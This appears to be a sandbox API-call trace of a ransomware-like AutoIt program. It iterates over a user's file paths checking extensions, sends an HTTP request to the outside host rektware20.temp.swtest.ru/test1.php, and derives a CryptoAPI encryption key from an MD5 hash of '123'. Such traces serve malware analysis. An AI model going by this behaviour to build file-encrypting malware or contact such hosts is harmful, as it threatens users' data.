lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.276] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.276] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.276] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.276] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.276] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.277] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.277] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.277] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.277] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0068.277] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.277] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.277] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.277] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.277] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.277] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629490, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629490*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.277] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.278] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.278] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.278] CloseHandle (hObject=0x0) returned 0 [0068.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.278] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0068.278] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.278] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.278] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.279] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.279] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.279] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.279] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.280] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.280] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.280] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aab38) returned 1 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.281] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.281] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.281] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.282] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.282] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.282] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.282] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.283] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.283] CryptCreateHash (in: hProv=0x17aab38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.283] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.283] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.284] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.284] CryptHashData (hHash=0x164c670, pbData=0x1629640, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.284] CharUpperBuffW (in: 